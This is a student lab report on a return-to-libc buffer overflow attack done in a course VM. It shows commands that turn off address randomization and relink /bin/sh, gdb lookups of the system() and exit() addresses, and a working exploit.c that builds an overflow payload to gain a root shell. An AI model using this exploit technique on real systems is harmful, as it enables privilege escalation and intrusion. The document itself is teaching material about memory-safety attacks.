Lybryant Wright
CUNY John Jay College
CSCI 401
Lab 4

Return-to-libc Attack

This weeks lab is another variation of a buffer overflow attack. From what I experienced from our buffer overflow lab is that to perform it we need to make the stack executable, load malicious shellcode into said stack and use a vulnerable program to point to the shellcode to gain root privileges. While similar, a return-to-libc attack has many differences to ensure a successful attack. Essentially, just like the buffer overflow there are countermeasures in place to defend against this type of attack and hide locations of addresses needed to ensure success.

```
[09/27/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for seed:
kernel.randomize_va_space = 0
[09/27/19]seed@VM:~$ sudo rm /bin/sh
[09/27/19]seed@VM:~$ sudo ln /bin/zsh /bin/sh
[09/27/19]seed@VM:~$
```

Disabling random space addressing will make finding the locations of certain addresses possible. Also, having /bin/sh point towards /bin/zsh makes this attack possible since /bin/dash won't be able to drop set-uid privileges.

Just like the buffer overflow attack the vulnerable program we use for the return-to-libc attack has a vulnerable function. In this case the vulnerable function is fread(). What makes this function so vulnerable is that is doesn't check the boundaries of the stack allowing an attacker to perform a buffer overflow. Now unlike the buffer overflow attack we performed last week, this attack doesn't need shellcode to be pushed onto the stack. This attack requires the attacker to have the exact locations of the system(), exit(), and the "/bin/sh" program. To find the locations of system() and exit() I must first compile the vulnerable program without stackguard, and as a non executable stack. Now that its compiled I can run the gdb debugger which will give me the exact locations of system() and exit().

```
Breakpoint 1, 0x080484e9 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

To find /bin/sh I had to manipulate some environment variable's and run a program to give me the exact location of MYSHELL = /bin/sh. However, the program given in the lab pdf gave me the wrong location of MYSHELL resulting in a segmentation fault. I knew it was the wrong location of MYSHELL because the segmentation fault I received stated the following:

```
[09/27/19]seed@VM:~/.../lab4$ gedit exploit.c
[09/27/19]seed@VM:~/.../lab4$ gcc -o exploit exploit.c
[09/27/19]seed@VM:~/.../lab4$ ./exploit
[09/27/19]seed@VM:~/.../lab4$ ./retlib
zsh:1: no such file or directory: in/sh
Segmentation fault
[09/27/19]seed@VM:~/.../lab4$
```

The program was looking for a file/directory of “in/sh” instead of “bin/sh”. I did some research online to find another program that could possibly return me the correct location of bin/sh and this is what I found worked:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
    char *ptr;
    if(argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}
```

Now that I have all three locations needed for this attack, I needed to insert them into the exploit.c program and figure out where in the buffer to place the locations. All diagrams and material I researched of the libc stack showed to place bin/sh at the end of the stack([36] in this instance), then exit()([32] in this instance), then system()([24] in this instance). However this resulted in more segmentation faults. So through trial and error of switching buffer locations, I found bin/sh at [32], system() at [24] and exit() at [36] resulted in me gaining root access making my attack a success.

Here are screenshoots of the exploit program, and gaining root access:

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *) &buf[32] = 0xbffffe1e ;   //  "/bin/sh"
  *(long *) &buf[24] = 0xb7e42da0 ;   //  system()
  *(long *) &buf[36] = 0xb7e369d0 ;   //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

I didn't perform the next task of trying the attack with address randomization on, however I know when turning this precaution on the address location for /bin/sh will be randomized and continue to change everytime the user or attacker tries to access or call its location.